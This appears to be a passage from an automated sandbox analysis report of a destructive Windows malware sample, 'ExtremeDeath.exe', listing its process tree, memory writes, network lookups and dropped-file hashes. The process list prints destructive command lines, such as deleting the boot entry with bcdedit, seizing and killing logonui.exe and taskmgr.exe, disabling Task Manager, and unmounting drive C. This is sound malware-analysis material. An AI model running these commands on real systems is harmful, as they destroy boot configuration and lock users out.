Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3468 wrote to memory of 1428 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 3468 wrote to memory of 1428 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 3468 wrote to memory of 1428 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 1428 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 1428 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 3572 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 3572 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 3572 wrote to memory of 632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3572 wrote to memory of 632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3572 wrote to memory of 1584 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe
PID 3572 wrote to memory of 1584 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe
PID 3572 wrote to memory of 1584 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe
PID 3572 wrote to memory of 4488 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 4488 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 4896 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3572 wrote to memory of 4896 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3572 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 3572 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 3572 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 3224 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 3224 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 808 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 808 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 2288 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3572 wrote to memory of 2288 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3572 wrote to memory of 1728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 3572 wrote to memory of 1728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 3572 wrote to memory of 4808 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 4808 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 1776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 1776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 3572 wrote to memory of 4788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3572 wrote to memory of 4788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3572 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\beeper.exe
PID 3572 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\beeper.exe
PID 3572 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe
PID 3572 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe
PID 3572 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe
PID 3572 wrote to memory of 4636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 4636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 2220 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe
PID 3572 wrote to memory of 2220 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe
PID 3572 wrote to memory of 2220 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe
PID 3572 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 856 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe
PID 3572 wrote to memory of 856 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe
PID 3572 wrote to memory of 856 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe
PID 3572 wrote to memory of 4852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 4852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe
PID 3572 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe
PID 3572 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe
PID 3572 wrote to memory of 1648 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 1648 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 3284 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 3284 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3572 wrote to memory of 3584 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3572 wrote to memory of 3584 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.cmd"

C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe

ExtremeDeath.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\787C.tmp\787D.tmp\787E.bat C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

C:\Windows\system32\cscript.exe

cscript prompt.vbs

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe

TrashMBR.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im logonui.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\logonui.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant "everyone":F

C:\Windows\system32\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\taskmgr.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F

C:\Windows\system32\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Users\Admin\AppData\Local\Temp\787C.tmp\beeper.exe

beeper.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe

MouseError.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe

MouseWarning.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 10 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe

PlgBlt.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseError.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseWarning.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe

MouseError.exe

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe

MouseWarning.exe

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 15 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\BitBlt.exe

BitBlt.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\787C.tmp\glitch.exe

glitch.exe

C:\Windows\system32\timeout.exe

timeout 30 /nobreak

C:\Windows\system32\mountvol.exe

mountvol c: /d

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 150.171.30.10:443 g.bing.com tcp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 10.30.171.150.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 101.210.23.2.in-addr.arpa udp

Files

memory/1428-0-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\787C.tmp\787D.tmp\787E.bat

MD5 8c5dafc8fbd26dd529c25a01ecd5a51d
SHA1 839e962516258049a9e5e358dec7fe352e09d840
SHA256 355785cc786eed7dffecfa7d33872f6de6baa833dce34598adf0d5c8688c00f6
SHA512 fda772a900c542eb59f4a94dc1eadec9677bb117e84a07c4e5c1afbf853704e6be4031383330f0dd88d2b48bbca973484c1e60ab3aa9424158f2c787e63de295

C:\Users\Admin\AppData\Local\Temp\787C.tmp\prompt.vbs

MD5 709874d32bd68e69010acdf70cebf063
SHA1 feb94076246fe2fc902ef04d745fa0e60fe1497f
SHA256 1187be0f09aa0f917718064406e4595ac6137dd3a801e91ab2d7a03d98872da1
SHA512 bdb10baa9d02f9fff1b59e718a59c6c5a163d4a9d503fb2fe1767163fd3d746c01a7ca1546ad4febc25685d5a854635bc6170009db851a66853ce66d71d25526

C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe

MD5 42d06436fdc392a4e90d03623119fa87
SHA1 df9f007d438fc17fd47324b74a82d100a0763204
SHA256 82f2e6b2cdad0ef859fe839c97bd7c0a34452638d49094979d7c0c4488b5c2ab
SHA512 52655cd83ab881c93c9076ad0d8a9b8ebeba37d6d2b00ebcf5a45f1e835463898aa22611445ff7505977cb8d8942e2f8b6a60706ec7eee494f7131ecc65e76c4

memory/1584-25-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\787C.tmp\beeper.exe

MD5 8d1a9c2e8d53425499f3a1853d2e0910
SHA1 83962bce20d3f84b796486489e2c734afd1d0846
SHA256 1d89bd45a36dd300a250292cacf22a7beff3cfe0dfddab0d7b77c3c260032131
SHA512 81ba0b91f2fd0ba9b198c59ae7cc6115bf9b05c119ea46f37043a1981ef246c617fe6ba5590048b2e1383fb27c686b6eb75fdd6e642ea4433b404d0eaabf3950

memory/1836-29-0x00000000002E0000-0x000000000034A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe

MD5 cc72818ce44b3506b64b7f9a73d701bf
SHA1 041497924684e41aa671fe64acf6f980e0d9da7c
SHA256 48da69b9dfd600973ffcdba14abd88972ae51a5cae31b41d85ed56977f2b94dc
SHA512 4e3ad05ad99bd8c150ad99c8becca122613e446c678617f0a5a28e780706afe03580ec643956245e5e02d169e4f28bdf4f95b7d095d8e055517508c7dbeb0149

memory/1836-32-0x000000001B030000-0x000000001B090000-memory.dmp

memory/1428-35-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe

MD5 ad241a26c7f536fdb0658d602a86fcdd
SHA1 f862eecbac2d4afe4a437b77c6020b6de38b0671
SHA256 c3c6fe174f474e47b93e7aea1d0d77539d6880c3d84acac6412eff3393366dae
SHA512 5d8f9bd5d17a98b03adb4f0e173f011071708847748395889e7b582a25fc9f4606223415d9b61b3f82274a3addd73d86752bfba0bcb452990347f6b1439d672f

C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe

MD5 92af619c1bdabf79c26bddda2556d9d0
SHA1 ac153eb6edd873abf6dcb6a0edbc9922d15e5dd1
SHA256 72a5692d137571317f84287c4f2abb341b95173f9ee43901f6b3272bb1631e95
SHA512 439855a8487f5cdd5ec195c303c85078af69c05ae28a837ff4d74d8e9f922a9556299b02b7bfdbe47f4287772604b21fe017ee49e0668022877a063771a37adb

memory/4644-42-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2220-44-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe

MD5 5d8ff1dd3662ac09e5bfa682ffdb233e
SHA1 c0ed5cfd5fa76db7087b4f25a806e124e29520af
SHA256 7cd320070e23e6582589d83f01f4da86ce0d1c0fe83d8df2007886c6ea10cc83
SHA512 d2258dda192a6a938989617aa46c33c0eabfae2a2d3284d3ac999b8d482ff2f08ffde836156ff341e51029d946f71ce77892b13a5924996b92a7773f2e123bb9

memory/856-49-0x0000000000400000-0x000000000041D000-memory.dmp

memory/3720-56-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1100-58-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2276-60-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1900-59-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\787C.tmp\BitBlt.exe

MD5 d96dcc6c97ee4740f0a3a41b3bccf5cc
SHA1 25530ffaf174063c119e2d0c06afdc1d2bdd416f
SHA256 e0c40f127ceef9de46569154ef16f59e7e15d19477beb167f67a72d35193114e
SHA512 0f9ca7eb852edb469fd2f73e8b2a9425771d359aff4fde220193996befaa07fb57ac5e77d11b4cf29f3d64b358169d6a95cab02af57e5eea390063d5bd9e8372

C:\Users\Admin\AppData\Local\Temp\787C.tmp\glitch.exe

MD5 5ce49a6bbff759faf8204a65991d6bd7
SHA1 b8fe526d5cc346c506e543c7eecef995d1f96021
SHA256 48af943061196a4f47d5de6d2335bef7bcfdb89990e8ddb2339e64024f0d50d9
SHA512 e77785d8366de1062eb0d044b3b096f3d3c7687986ec332a607333a40acf8341f917a62f910ca5b419b4122f294e11d81e6fbaf707c240baa8556ede87d01356

memory/1732-72-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2320-78-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1100-95-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2276-97-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1900-96-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1100-101-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2276-103-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1900-102-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1100-107-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2276-109-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1900-108-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1900-114-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2276-115-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1100-113-0x0000000000400000-0x000000000041D000-memory.dmp